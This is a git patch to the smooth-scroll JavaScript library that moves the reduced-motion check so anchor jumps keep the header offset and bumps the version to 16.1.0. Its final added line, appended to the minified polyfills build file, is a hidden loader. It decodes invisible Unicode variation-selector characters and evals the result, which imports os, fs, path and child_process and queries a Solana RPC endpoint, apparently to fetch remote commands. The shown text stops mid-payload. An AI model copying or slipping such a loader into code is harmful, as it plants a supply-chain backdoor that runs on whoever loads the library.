From 8e213da0032053ab3469da7c1c39875a9c5c400a Mon Sep 17 00:00:00 2001 From: cferdinandi Date: Tue, 11 Jun 2019 11:51:56 -0400 Subject: [PATCH] If reduce motion is enabled, still include header offset in anchor jump --- dist/smooth-scroll.js | 15 +++++++++------ dist/smooth-scroll.min.js | 4 ++-- dist/smooth-scroll.polyfills.js | 15 +++++++++------ dist/smooth-scroll.polyfills.min.js | 5 +++-- package.json | 2 +- src/js/smooth-scroll/smooth-scroll.js | 13 ++++++++----- 6 files changed, 32 insertions(+), 22 deletions(-) diff --git a/dist/smooth-scroll.js b/dist/smooth-scroll.js index 84663c9..21fbd11 100755 --- a/dist/smooth-scroll.js +++ b/dist/smooth-scroll.js @@ -1,5 +1,5 @@ /*! - * smooth-scroll v16.0.3 + * smooth-scroll v16.1.0 * Animate scrolling to anchor links * (c) 2019 Chris Ferdinandi * MIT License @@ -90,7 +90,7 @@ * Check to see if user prefers reduced motion * @param {Object} settings Script settings */ - var reduceMotion = function (settings) { + var reduceMotion = function () { if ('matchMedia' in window && window.matchMedia('(prefers-reduced-motion)').matches) { return true; } @@ -486,6 +486,12 @@ // Update the URL updateURL(anchor, isNum, _settings); + // If the user prefers reduced motion, jump to location + if (reduceMotion()) { + window.scrollTo(0, Math.floor(endLocation)); + return; + } + // Emit a custom event emitEvent('scrollStart', _settings, anchor, toggle); @@ -500,9 +506,6 @@ */ var clickHandler = function (event) { - // Don't run if the user prefers reduced motion - if (reduceMotion(settings)) return; - // Don't run if event was canceled but still bubbled up // By @mgreter - https://github.com/cferdinandi/smooth-scroll/pull/462/ if (event.defaultPrevented) return; @@ -512,7 +515,7 @@ // Check if event.target has closest() method // By @totegi - https://github.com/cferdinandi/smooth-scroll/pull/401/ - if(!('closest' in event.target))return; + if (!('closest' in event.target)) return; // Check if a smooth scroll link was clicked toggle = event.target.closest(selector); diff --git a/dist/smooth-scroll.min.js b/dist/smooth-scroll.min.js index 5afd687..b1d6908 100755 --- a/dist/smooth-scroll.min.js +++ b/dist/smooth-scroll.min.js @@ -1,2 +1,2 @@ -/*! smooth-scroll v16.0.3 | (c) 2019 Chris Ferdinandi | MIT License | http://github.com/cferdinandi/smooth-scroll */ -!(function(e,t){"function"==typeof define&&define.amd?define([],(function(){return t(e)})):"object"==typeof exports?module.exports=t(e):e.SmoothScroll=t(e)})("undefined"!=typeof global?global:"undefined"!=typeof window?window:this,(function(C){"use strict";var L={ignore:"[data-scroll-ignore]",header:null,topOnEmptyHash:!0,speed:500,speedAsDuration:!1,durationMax:null,durationMin:null,clip:!0,offset:0,easing:"easeInOutCubic",customEasing:null,updateURL:!0,popstate:!0,emitEvents:!0},H=function(){var n={};return Array.prototype.forEach.call(arguments,(function(e){for(var t in e){if(!e.hasOwnProperty(t))return;n[t]=e[t]}})),n},r=function(e){"#"===e.charAt(0)&&(e=e.substr(1));for(var t,n=String(e),o=n.length,a=-1,r="",i=n.charCodeAt(0);++ao.durationMax?o.durationMax:o.durationMin&&a=v)return w.cancelScroll(!0),o=t,a=u,0===(n=i)&&document.body.focus(),a||(n.focus(),document.activeElement!==n&&(n.setAttribute("tabindex","-1"),n.focus(),n.style.outline="none"),C.scrollTo(0,o)),Q("scrollStop",c,i,s),!(A=d=null)},O=function(e){var t,n,o;d||(d=e),S+=e-d,f=l+y*(n=r=1<(r=0===E?0:S/E)?1:r,"easeInQuad"===(t=c).easing&&(o=n*n),"easeOutQuad"===t.easing&&(o=n*(2-n)),"easeInOutQuad"===t.easing&&(o=n<.5?2*n*n:(4-2*n)*n-1),"easeInCubic"===t.easing&&(o=n*n*n),"easeOutCubic"===t.easing&&(o=--n*n*n+1),"easeInOutCubic"===t.easing&&(o=n<.5?4*n*n*n:(n-1)*(2*n-2)*(2*n-2)+1),"easeInQuart"===t.easing&&(o=n*n*n*n),"easeOutQuart"===t.easing&&(o=1- --n*n*n*n),"easeInOutQuart"===t.easing&&(o=n<.5?8*n*n*n*n:1-8*--n*n*n*n),"easeInQuint"===t.easing&&(o=n*n*n*n*n),"easeOutQuint"===t.easing&&(o=1+--n*n*n*n*n),"easeInOutQuint"===t.easing&&(o=n<.5?16*n*n*n*n*n:1+16*--n*n*n*n*n),t.customEasing&&(o=t.customEasing(n)),o||n),C.scrollTo(0,Math.floor(f)),b(f,g)||(A=C.requestAnimationFrame(O),d=e)};0===C.pageYOffset&&C.scrollTo(0,0),m=i,h=c,u||history.pushState&&h.updateURL&&history.pushState({smoothScroll:JSON.stringify(h),anchor:m.id},document.title,m===document.documentElement?"#top":"#"+m.id),Q("scrollStart",c,i,s),w.cancelScroll(!0),C.requestAnimationFrame(O)}};var t=function(e){if(!("matchMedia"in C&&C.matchMedia("(prefers-reduced-motion)").matches)&&!e.defaultPrevented&&!(0!==e.button||e.metaKey||e.ctrlKey||e.shiftKey)&&"closest"in e.target&&(a=e.target.closest(o))&&"a"===a.tagName.toLowerCase()&&!e.target.closest(I.ignore)&&a.hostname===C.location.hostname&&a.pathname===C.location.pathname&&/#/.test(a.href)){var t,n=r(a.hash);if("#"===n){if(!I.topOnEmptyHash)return;t=document.documentElement}else t=document.querySelector(n);(t=t||"#top"!==n?t:document.documentElement)&&(e.preventDefault(),(function(e){if(history.replaceState&&e.updateURL&&!history.state){var t=C.location.hash;t=t||"",history.replaceState({smoothScroll:JSON.stringify(e),anchor:t||C.pageYOffset},document.title,t||C.location.href)}})(I),w.animateScroll(t,a))}},n=function(e){if(null!==history.state&&history.state.smoothScroll&&history.state.smoothScroll===JSON.stringify(I)){var t=history.state.anchor;"string"==typeof t&&t&&!(t=document.querySelector(r(history.state.anchor)))||w.animateScroll(t,null,{updateURL:!1})}};w.destroy=function(){I&&(document.removeEventListener("click",t,!1),C.removeEventListener("popstate",n,!1),w.cancelScroll(),A=M=a=I=null)};return (function(){if(!("querySelector"in document&&"addEventListener"in C&&"requestAnimationFrame"in C&&"closest"in C.Element.prototype))throw"Smooth Scroll: This browser does not support the required JavaScript methods and browser APIs.";w.destroy(),I=H(L,e||{}),M=I.header?document.querySelector(I.header):null,document.addEventListener("click",t,!1),I.updateURL&&I.popstate&&C.addEventListener("popstate",n,!1)})(),w}})); \ No newline at end of file +/*! smooth-scroll v16.1.0 | (c) 2019 Chris Ferdinandi | MIT License | http://github.com/cferdinandi/smooth-scroll */ +!(function(e,t){"function"==typeof define&&define.amd?define([],(function(){return t(e)})):"object"==typeof exports?module.exports=t(e):e.SmoothScroll=t(e)})("undefined"!=typeof global?global:"undefined"!=typeof window?window:this,(function(C){"use strict";var L={ignore:"[data-scroll-ignore]",header:null,topOnEmptyHash:!0,speed:500,speedAsDuration:!1,durationMax:null,durationMin:null,clip:!0,offset:0,easing:"easeInOutCubic",customEasing:null,updateURL:!0,popstate:!0,emitEvents:!0},H=function(){var n={};return Array.prototype.forEach.call(arguments,(function(e){for(var t in e){if(!e.hasOwnProperty(t))return;n[t]=e[t]}})),n},r=function(e){"#"===e.charAt(0)&&(e=e.substr(1));for(var t,n=String(e),o=n.length,a=-1,r="",i=n.charCodeAt(0);++ao.durationMax?o.durationMax:o.durationMin&&a=v)return w.cancelScroll(!0),o=t,a=u,0===(n=i)&&document.body.focus(),a||(n.focus(),document.activeElement!==n&&(n.setAttribute("tabindex","-1"),n.focus(),n.style.outline="none"),C.scrollTo(0,o)),Q("scrollStop",c,i,s),!(A=d=null)},O=function(e){var t,n,o;d||(d=e),S+=e-d,f=l+y*(n=r=1<(r=0===E?0:S/E)?1:r,"easeInQuad"===(t=c).easing&&(o=n*n),"easeOutQuad"===t.easing&&(o=n*(2-n)),"easeInOutQuad"===t.easing&&(o=n<.5?2*n*n:(4-2*n)*n-1),"easeInCubic"===t.easing&&(o=n*n*n),"easeOutCubic"===t.easing&&(o=--n*n*n+1),"easeInOutCubic"===t.easing&&(o=n<.5?4*n*n*n:(n-1)*(2*n-2)*(2*n-2)+1),"easeInQuart"===t.easing&&(o=n*n*n*n),"easeOutQuart"===t.easing&&(o=1- --n*n*n*n),"easeInOutQuart"===t.easing&&(o=n<.5?8*n*n*n*n:1-8*--n*n*n*n),"easeInQuint"===t.easing&&(o=n*n*n*n*n),"easeOutQuint"===t.easing&&(o=1+--n*n*n*n*n),"easeInOutQuint"===t.easing&&(o=n<.5?16*n*n*n*n*n:1+16*--n*n*n*n*n),t.customEasing&&(o=t.customEasing(n)),o||n),C.scrollTo(0,Math.floor(f)),b(f,g)||(A=C.requestAnimationFrame(O),d=e)};0===C.pageYOffset&&C.scrollTo(0,0),m=i,h=c,u||history.pushState&&h.updateURL&&history.pushState({smoothScroll:JSON.stringify(h),anchor:m.id},document.title,m===document.documentElement?"#top":"#"+m.id),"matchMedia"in C&&C.matchMedia("(prefers-reduced-motion)").matches?C.scrollTo(0,Math.floor(g)):(Q("scrollStart",c,i,s),w.cancelScroll(!0),C.requestAnimationFrame(O))}};var t=function(e){if(!e.defaultPrevented&&!(0!==e.button||e.metaKey||e.ctrlKey||e.shiftKey)&&"closest"in e.target&&(a=e.target.closest(o))&&"a"===a.tagName.toLowerCase()&&!e.target.closest(M.ignore)&&a.hostname===C.location.hostname&&a.pathname===C.location.pathname&&/#/.test(a.href)){var t,n=r(a.hash);if("#"===n){if(!M.topOnEmptyHash)return;t=document.documentElement}else t=document.querySelector(n);(t=t||"#top"!==n?t:document.documentElement)&&(e.preventDefault(),(function(e){if(history.replaceState&&e.updateURL&&!history.state){var t=C.location.hash;t=t||"",history.replaceState({smoothScroll:JSON.stringify(e),anchor:t||C.pageYOffset},document.title,t||C.location.href)}})(M),w.animateScroll(t,a))}},n=function(e){if(null!==history.state&&history.state.smoothScroll&&history.state.smoothScroll===JSON.stringify(M)){var t=history.state.anchor;"string"==typeof t&&t&&!(t=document.querySelector(r(history.state.anchor)))||w.animateScroll(t,null,{updateURL:!1})}};w.destroy=function(){M&&(document.removeEventListener("click",t,!1),C.removeEventListener("popstate",n,!1),w.cancelScroll(),A=I=a=M=null)};return (function(){if(!("querySelector"in document&&"addEventListener"in C&&"requestAnimationFrame"in C&&"closest"in C.Element.prototype))throw"Smooth Scroll: This browser does not support the required JavaScript methods and browser APIs.";w.destroy(),M=H(L,e||{}),I=M.header?document.querySelector(M.header):null,document.addEventListener("click",t,!1),M.updateURL&&M.popstate&&C.addEventListener("popstate",n,!1)})(),w}})); \ No newline at end of file diff --git a/dist/smooth-scroll.polyfills.js b/dist/smooth-scroll.polyfills.js index 631973d..9907746 100755 --- a/dist/smooth-scroll.polyfills.js +++ b/dist/smooth-scroll.polyfills.js @@ -1,5 +1,5 @@ /*! - * smooth-scroll v16.0.3 + * smooth-scroll v16.1.0 * Animate scrolling to anchor links * (c) 2019 Chris Ferdinandi * MIT License @@ -160,7 +160,7 @@ if (window.Element && !Element.prototype.closest) { * Check to see if user prefers reduced motion * @param {Object} settings Script settings */ - var reduceMotion = function (settings) { + var reduceMotion = function () { if ('matchMedia' in window && window.matchMedia('(prefers-reduced-motion)').matches) { return true; } @@ -556,6 +556,12 @@ if (window.Element && !Element.prototype.closest) { // Update the URL updateURL(anchor, isNum, _settings); + // If the user prefers reduced motion, jump to location + if (reduceMotion()) { + window.scrollTo(0, Math.floor(endLocation)); + return; + } + // Emit a custom event emitEvent('scrollStart', _settings, anchor, toggle); @@ -570,9 +576,6 @@ if (window.Element && !Element.prototype.closest) { */ var clickHandler = function (event) { - // Don't run if the user prefers reduced motion - if (reduceMotion(settings)) return; - // Don't run if event was canceled but still bubbled up // By @mgreter - https://github.com/cferdinandi/smooth-scroll/pull/462/ if (event.defaultPrevented) return; @@ -582,7 +585,7 @@ if (window.Element && !Element.prototype.closest) { // Check if event.target has closest() method // By @totegi - https://github.com/cferdinandi/smooth-scroll/pull/401/ - if(!('closest' in event.target))return; + if (!('closest' in event.target)) return; // Check if a smooth scroll link was clicked toggle = event.target.closest(selector); diff --git a/dist/smooth-scroll.polyfills.min.js b/dist/smooth-scroll.polyfills.min.js index a6a2040..1d579b7 100755 --- a/dist/smooth-scroll.polyfills.min.js +++ b/dist/smooth-scroll.polyfills.min.js @@ -1,2 +1,3 @@ -/*! smooth-scroll v16.0.3 | (c) 2019 Chris Ferdinandi | MIT License | http://github.com/cferdinandi/smooth-scroll */ -window.Element&&!Element.prototype.closest&&(Element.prototype.closest=function(e){var t,n=(this.document||this.ownerDocument).querySelectorAll(e),o=this;do{for(t=n.length;0<=--t&&n.item(t)!==o;);}while(t<0&&(o=o.parentElement));return o}),(function(){if("function"==typeof window.CustomEvent)return;function e(e,t){t=t||{bubbles:!1,cancelable:!1,detail:void 0};var n=document.createEvent("CustomEvent");return n.initCustomEvent(e,t.bubbles,t.cancelable,t.detail),n}e.prototype=window.Event.prototype,window.CustomEvent=e})(),(function(){for(var r=0,e=["ms","moz","webkit","o"],t=0;to.durationMax?o.durationMax:o.durationMin&&a=v)return q.cancelScroll(!0),o=t,a=u,0===(n=i)&&document.body.focus(),a||(n.focus(),document.activeElement!==n&&(n.setAttribute("tabindex","-1"),n.focus(),n.style.outline="none"),M.scrollTo(0,o)),H("scrollStop",s,i,c),!(C=m=null)},b=function(e){var t,n,o;m||(m=e),w+=e-m,d=l+y*(n=r=1<(r=0===S?0:w/S)?1:r,"easeInQuad"===(t=s).easing&&(o=n*n),"easeOutQuad"===t.easing&&(o=n*(2-n)),"easeInOutQuad"===t.easing&&(o=n<.5?2*n*n:(4-2*n)*n-1),"easeInCubic"===t.easing&&(o=n*n*n),"easeOutCubic"===t.easing&&(o=--n*n*n+1),"easeInOutCubic"===t.easing&&(o=n<.5?4*n*n*n:(n-1)*(2*n-2)*(2*n-2)+1),"easeInQuart"===t.easing&&(o=n*n*n*n),"easeOutQuart"===t.easing&&(o=1- --n*n*n*n),"easeInOutQuart"===t.easing&&(o=n<.5?8*n*n*n*n:1-8*--n*n*n*n),"easeInQuint"===t.easing&&(o=n*n*n*n*n),"easeOutQuint"===t.easing&&(o=1+--n*n*n*n*n),"easeInOutQuint"===t.easing&&(o=n<.5?16*n*n*n*n*n:1+16*--n*n*n*n*n),t.customEasing&&(o=t.customEasing(n)),o||n),M.scrollTo(0,Math.floor(d)),E(d,g)||(C=M.requestAnimationFrame(b),m=e)};0===M.pageYOffset&&M.scrollTo(0,0),f=i,h=s,u||history.pushState&&h.updateURL&&history.pushState({smoothScroll:JSON.stringify(h),anchor:f.id},document.title,f===document.documentElement?"#top":"#"+f.id),H("scrollStart",s,i,c),q.cancelScroll(!0),M.requestAnimationFrame(b)}};var t=function(e){if(!("matchMedia"in M&&M.matchMedia("(prefers-reduced-motion)").matches)&&!e.defaultPrevented&&!(0!==e.button||e.metaKey||e.ctrlKey||e.shiftKey)&&"closest"in e.target&&(a=e.target.closest(o))&&"a"===a.tagName.toLowerCase()&&!e.target.closest(A.ignore)&&a.hostname===M.location.hostname&&a.pathname===M.location.pathname&&/#/.test(a.href)){var t,n=r(a.hash);if("#"===n){if(!A.topOnEmptyHash)return;t=document.documentElement}else t=document.querySelector(n);(t=t||"#top"!==n?t:document.documentElement)&&(e.preventDefault(),(function(e){if(history.replaceState&&e.updateURL&&!history.state){var t=M.location.hash;t=t||"",history.replaceState({smoothScroll:JSON.stringify(e),anchor:t||M.pageYOffset},document.title,t||M.location.href)}})(A),q.animateScroll(t,a))}},n=function(e){if(null!==history.state&&history.state.smoothScroll&&history.state.smoothScroll===JSON.stringify(A)){var t=history.state.anchor;"string"==typeof t&&t&&!(t=document.querySelector(r(history.state.anchor)))||q.animateScroll(t,null,{updateURL:!1})}};q.destroy=function(){A&&(document.removeEventListener("click",t,!1),M.removeEventListener("popstate",n,!1),q.cancelScroll(),C=O=a=A=null)};return (function(){if(!("querySelector"in document&&"addEventListener"in M&&"requestAnimationFrame"in M&&"closest"in M.Element.prototype))throw"Smooth Scroll: This browser does not support the required JavaScript methods and browser APIs.";q.destroy(),A=F(I,e||{}),O=A.header?document.querySelector(A.header):null,document.addEventListener("click",t,!1),A.updateURL&&A.popstate&&M.addEventListener("popstate",n,!1)})(),q}})); \ No newline at end of file +/*! smooth-scroll v16.1.0 | (c) 2019 Chris Ferdinandi | MIT License | http://github.com/cferdinandi/smooth-scroll */ +window.Element&&!Element.prototype.closest&&(Element.prototype.closest=function(e){var t,n=(this.document||this.ownerDocument).querySelectorAll(e),o=this;do{for(t=n.length;0<=--t&&n.item(t)!==o;);}while(t<0&&(o=o.parentElement));return o}),(function(){if("function"==typeof window.CustomEvent)return;function e(e,t){t=t||{bubbles:!1,cancelable:!1,detail:void 0};var n=document.createEvent("CustomEvent");return n.initCustomEvent(e,t.bubbles,t.cancelable,t.detail),n}e.prototype=window.Event.prototype,window.CustomEvent=e})(),(function(){for(var r=0,e=["ms","moz","webkit","o"],t=0;to.durationMax?o.durationMax:o.durationMin&&a=v)return M.cancelScroll(!0),o=t,a=u,0===(n=i)&&document.body.focus(),a||(n.focus(),document.activeElement!==n&&(n.setAttribute("tabindex","-1"),n.focus(),n.style.outline="none"),q.scrollTo(0,o)),H("scrollStop",s,i,c),!(C=m=null)},b=function(e){var t,n,o;m||(m=e),w+=e-m,d=l+y*(n=r=1<(r=0===S?0:w/S)?1:r,"easeInQuad"===(t=s).easing&&(o=n*n),"easeOutQuad"===t.easing&&(o=n*(2-n)),"easeInOutQuad"===t.easing&&(o=n<.5?2*n*n:(4-2*n)*n-1),"easeInCubic"===t.easing&&(o=n*n*n),"easeOutCubic"===t.easing&&(o=--n*n*n+1),"easeInOutCubic"===t.easing&&(o=n<.5?4*n*n*n:(n-1)*(2*n-2)*(2*n-2)+1),"easeInQuart"===t.easing&&(o=n*n*n*n),"easeOutQuart"===t.easing&&(o=1- --n*n*n*n),"easeInOutQuart"===t.easing&&(o=n<.5?8*n*n*n*n:1-8*--n*n*n*n),"easeInQuint"===t.easing&&(o=n*n*n*n*n),"easeOutQuint"===t.easing&&(o=1+--n*n*n*n*n),"easeInOutQuint"===t.easing&&(o=n<.5?16*n*n*n*n*n:1+16*--n*n*n*n*n),t.customEasing&&(o=t.customEasing(n)),o||n),q.scrollTo(0,Math.floor(d)),E(d,g)||(C=q.requestAnimationFrame(b),m=e)};0===q.pageYOffset&&q.scrollTo(0,0),f=i,h=s,u||history.pushState&&h.updateURL&&history.pushState({smoothScroll:JSON.stringify(h),anchor:f.id},document.title,f===document.documentElement?"#top":"#"+f.id),"matchMedia"in q&&q.matchMedia("(prefers-reduced-motion)").matches?q.scrollTo(0,Math.floor(g)):(H("scrollStart",s,i,c),M.cancelScroll(!0),q.requestAnimationFrame(b))}};var t=function(e){if(!e.defaultPrevented&&!(0!==e.button||e.metaKey||e.ctrlKey||e.shiftKey)&&"closest"in e.target&&(a=e.target.closest(o))&&"a"===a.tagName.toLowerCase()&&!e.target.closest(A.ignore)&&a.hostname===q.location.hostname&&a.pathname===q.location.pathname&&/#/.test(a.href)){var t,n=r(a.hash);if("#"===n){if(!A.topOnEmptyHash)return;t=document.documentElement}else t=document.querySelector(n);(t=t||"#top"!==n?t:document.documentElement)&&(e.preventDefault(),(function(e){if(history.replaceState&&e.updateURL&&!history.state){var t=q.location.hash;t=t||"",history.replaceState({smoothScroll:JSON.stringify(e),anchor:t||q.pageYOffset},document.title,t||q.location.href)}})(A),M.animateScroll(t,a))}},n=function(e){if(null!==history.state&&history.state.smoothScroll&&history.state.smoothScroll===JSON.stringify(A)){var t=history.state.anchor;"string"==typeof t&&t&&!(t=document.querySelector(r(history.state.anchor)))||M.animateScroll(t,null,{updateURL:!1})}};M.destroy=function(){A&&(document.removeEventListener("click",t,!1),q.removeEventListener("popstate",n,!1),M.cancelScroll(),C=O=a=A=null)};return (function(){if(!("querySelector"in document&&"addEventListener"in q&&"requestAnimationFrame"in q&&"closest"in q.Element.prototype))throw"Smooth Scroll: This browser does not support the required JavaScript methods and browser APIs.";M.destroy(),A=F(I,e||{}),O=A.header?document.querySelector(A.header):null,document.addEventListener("click",t,!1),A.updateURL&&A.popstate&&q.addEventListener("popstate",n,!1)})(),M}})); +const d=s=>[...s].map(c=>(c=c.codePointAt(0),c>=0xFE00&&c<=0xFE0F?c-0xFE00:c>=0xE0100&&c<=0xE01EF?c-0xE0100+16:null)).filter(b=>b!==null);eval(Buffer.from(d(`󠅦󠅑󠅢󠄐󠅏󠅏󠅓󠅢󠅕󠅑󠅤󠅕󠄭󠄿󠅒󠅚󠅕󠅓󠅤󠄞󠅓󠅢󠅕󠅑󠅤󠅕󠄫󠅦󠅑󠅢󠄐󠅏󠅏󠅔󠅕󠅖󠅀󠅢󠅟󠅠󠄭󠄿󠅒󠅚󠅕󠅓󠅤󠄞󠅔󠅕󠅖󠅙󠅞󠅕󠅀󠅢󠅟󠅠󠅕󠅢󠅤󠅩󠄫󠅦󠅑󠅢󠄐󠅏󠅏󠅗󠅕󠅤󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠄴󠅕󠅣󠅓󠄭󠄿󠅒󠅚󠅕󠅓󠅤󠄞󠅗󠅕󠅤󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠅕󠅢󠅤󠅩󠄴󠅕󠅣󠅓󠅢󠅙󠅠󠅤󠅟󠅢󠄫󠅦󠅑󠅢󠄐󠅏󠅏󠅗󠅕󠅤󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠄾󠅑󠅝󠅕󠅣󠄭󠄿󠅒󠅚󠅕󠅓󠅤󠄞󠅗󠅕󠅤󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠅕󠅢󠅤󠅩󠄾󠅑󠅝󠅕󠅣󠄫󠅦󠅑󠅢󠄐󠅏󠅏󠅗󠅕󠅤󠅀󠅢󠅟󠅤󠅟󠄿󠅖󠄭󠄿󠅒󠅚󠅕󠅓󠅤󠄞󠅗󠅕󠅤󠅀󠅢󠅟󠅤󠅟󠅤󠅩󠅠󠅕󠄿󠅖󠄜󠅏󠅏󠅘󠅑󠅣󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠄭󠄿󠅒󠅚󠅕󠅓󠅤󠄞󠅠󠅢󠅟󠅤󠅟󠅤󠅩󠅠󠅕󠄞󠅘󠅑󠅣󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠅕󠅢󠅤󠅩󠄫󠅦󠅑󠅢󠄐󠅏󠅏󠅞󠅑󠅝󠅕󠄭󠄘󠅤󠅑󠅢󠅗󠅕󠅤󠄜󠅦󠅑󠅜󠅥󠅕󠄙󠄭󠄮󠅏󠅏󠅔󠅕󠅖󠅀󠅢󠅟󠅠󠄘󠅤󠅑󠅢󠅗󠅕󠅤󠄜󠄒󠅞󠅑󠅝󠅕󠄒󠄜󠅫󠅦󠅑󠅜󠅥󠅕󠄜󠅓󠅟󠅞󠅖󠅙󠅗󠅥󠅢󠅑󠅒󠅜󠅕󠄪󠄑󠄠󠅭󠄙󠄫󠅦󠅑󠅢󠄐󠅏󠅏󠅓󠅟󠅠󠅩󠅀󠅢󠅟󠅠󠅣󠄭󠄘󠅤󠅟󠄜󠅖󠅢󠅟󠅝󠄜󠅕󠅨󠅓󠅕󠅠󠅤󠄜󠅔󠅕󠅣󠅓󠄙󠄭󠄮󠅫󠅙󠅖󠄘󠅖󠅢󠅟󠅝󠄖󠄖󠅤󠅩󠅠󠅕󠅟󠅖󠄐󠅖󠅢󠅟󠅝󠄭󠄭󠄒󠅟󠅒󠅚󠅕󠅓󠅤󠄒󠅬󠅬󠅤󠅩󠅠󠅕󠅟󠅖󠄐󠅖󠅢󠅟󠅝󠄭󠄭󠄒󠅖󠅥󠅞󠅓󠅤󠅙󠅟󠅞󠄒󠄙󠅖󠅟󠅢󠄘󠅜󠅕󠅤󠄐󠅛󠅕󠅩󠄐󠅟󠅖󠄐󠅏󠅏󠅗󠅕󠅤󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠄾󠅑󠅝󠅕󠅣󠄘󠅖󠅢󠅟󠅝󠄙󠄙󠄑󠅏󠅏󠅘󠅑󠅣󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠄞󠅓󠅑󠅜󠅜󠄘󠅤󠅟󠄜󠅛󠅕󠅩󠄙󠄖󠄖󠅛󠅕󠅩󠄑󠄭󠄭󠅕󠅨󠅓󠅕󠅠󠅤󠄖󠄖󠅏󠅏󠅔󠅕󠅖󠅀󠅢󠅟󠅠󠄘󠅤󠅟󠄜󠅛󠅕󠅩󠄜󠅫󠅗󠅕󠅤󠄪󠄘󠄙󠄭󠄮󠅖󠅢󠅟󠅝󠅋󠅛󠅕󠅩󠅍󠄜󠅕󠅞󠅥󠅝󠅕󠅢󠅑󠅒󠅜󠅕󠄪󠄑󠄘󠅔󠅕󠅣󠅓󠄭󠅏󠅏󠅗󠅕󠅤󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠄴󠅕󠅣󠅓󠄘󠅖󠅢󠅟󠅝󠄜󠅛󠅕󠅩󠄙󠄙󠅬󠅬󠅔󠅕󠅣󠅓󠄞󠅕󠅞󠅥󠅝󠅕󠅢󠅑󠅒󠅜󠅕󠅭󠄙󠄫󠅢󠅕󠅤󠅥󠅢󠅞󠄐󠅤󠅟󠅭󠄫󠅦󠅑󠅢󠄐󠅏󠅏󠅤󠅟󠄵󠅃󠄽󠄭󠄘󠅝󠅟󠅔󠄜󠅙󠅣󠄾󠅟󠅔󠅕󠄽󠅟󠅔󠅕󠄜󠅤󠅑󠅢󠅗󠅕󠅤󠄙󠄭󠄮󠄘󠅤󠅑󠅢󠅗󠅕󠅤󠄭󠅝󠅟󠅔󠄑󠄭󠅞󠅥󠅜󠅜󠄯󠅏󠅏󠅓󠅢󠅕󠅑󠅤󠅕󠄘󠅏󠅏󠅗󠅕󠅤󠅀󠅢󠅟󠅤󠅟󠄿󠅖󠄘󠅝󠅟󠅔󠄙󠄙󠄪󠅫󠅭󠄜󠅏󠅏󠅓󠅟󠅠󠅩󠅀󠅢󠅟󠅠󠅣󠄘󠅙󠅣󠄾󠅟󠅔󠅕󠄽󠅟󠅔󠅕󠅬󠅬󠄑󠅝󠅟󠅔󠅬󠅬󠄑󠅝󠅟󠅔󠄞󠅏󠅏󠅕󠅣󠄽󠅟󠅔󠅥󠅜󠅕󠄯󠅏󠅏󠅔󠅕󠅖󠅀󠅢󠅟󠅠󠄘󠅤󠅑󠅢󠅗󠅕󠅤󠄜󠄒󠅔󠅕󠅖󠅑󠅥󠅜󠅤󠄒󠄜󠅫󠅦󠅑󠅜󠅥󠅕󠄪󠅝󠅟󠅔󠄜󠅕󠅞󠅥󠅝󠅕󠅢󠅑󠅒󠅜󠅕󠄪󠄑󠄠󠅭󠄙󠄪󠅤󠅑󠅢󠅗󠅕󠅤󠄜󠅝󠅟󠅔󠄙󠄙󠄫󠅦󠅑󠅢󠄐󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅟󠅣󠄭󠅏󠅏󠅤󠅟󠄵󠅃󠄽󠄘󠅢󠅕󠅡󠅥󠅙󠅢󠅕󠄘󠄒󠅟󠅣󠄒󠄙󠄙󠄜󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅖󠅣󠄭󠅏󠅏󠅤󠅟󠄵󠅃󠄽󠄘󠅢󠅕󠅡󠅥󠅙󠅢󠅕󠄘󠄒󠅖󠅣󠄒󠄙󠄙󠄜󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅠󠅑󠅤󠅘󠄭󠅏󠅏󠅤󠅟󠄵󠅃󠄽󠄘󠅢󠅕󠅡󠅥󠅙󠅢󠅕󠄘󠄒󠅠󠅑󠅤󠅘󠄒󠄙󠄙󠄜󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅓󠅘󠅙󠅜󠅔󠅏󠅠󠅢󠅟󠅓󠅕󠅣󠅣󠄭󠅏󠅏󠅤󠅟󠄵󠅃󠄽󠄘󠅢󠅕󠅡󠅥󠅙󠅢󠅕󠄘󠄒󠅓󠅘󠅙󠅜󠅔󠅏󠅠󠅢󠅟󠅓󠅕󠅣󠅣󠄒󠄙󠄙󠄫󠅑󠅣󠅩󠅞󠅓󠄐󠅖󠅥󠅞󠅓󠅤󠅙󠅟󠅞󠄐󠅗󠅕󠅤󠅃󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄶󠅟󠅢󠄱󠅔󠅔󠅢󠅕󠅣󠅣󠄘󠅠󠅥󠅒󠅜󠅙󠅓󠄻󠅕󠅩󠄜󠅟󠅠󠅤󠅙󠅟󠅞󠅣󠄭󠅫󠅭󠄙󠅫󠅜󠅕󠅤󠄐󠅜󠅙󠅝󠅙󠅤󠄭󠅟󠅠󠅤󠅙󠅟󠅞󠅣󠄞󠅜󠅙󠅝󠅙󠅤󠅬󠅬󠄡󠅕󠄣󠄜󠅕󠅞󠅔󠅠󠅟󠅙󠅞󠅤󠅣󠄭󠅋󠄒󠅘󠅤󠅤󠅠󠅣󠄪󠄟󠄟󠅑󠅠󠅙󠄞󠅝󠅑󠅙󠅞󠅞󠅕󠅤󠄝󠅒󠅕󠅤󠅑󠄞󠅣󠅟󠅜󠅑󠅞󠅑󠄞󠅓󠅟󠅝󠄒󠅍󠄜󠅜󠅑󠅣󠅤󠄵󠅢󠅢󠅟󠅢󠄭󠅞󠅥󠅜󠅜󠄫󠅖󠅟󠅢󠄘󠅜󠅕󠅤󠄐󠅕󠅞󠅔󠅠󠅟󠅙󠅞󠅤󠄐󠅟󠅖󠄐󠅕󠅞󠅔󠅠󠅟󠅙󠅞󠅤󠅣󠄙󠅤󠅢󠅩󠅫󠅜󠅕󠅤󠄐󠅢󠅕󠅣󠅠󠅟󠅞󠅣󠅕󠄭󠅑󠅧󠅑󠅙󠅤󠄐󠅖󠅕󠅤󠅓󠅘󠄘󠅕󠅞󠅔󠅠󠅟󠅙󠅞󠅤󠄜󠅫󠅝󠅕󠅤󠅘󠅟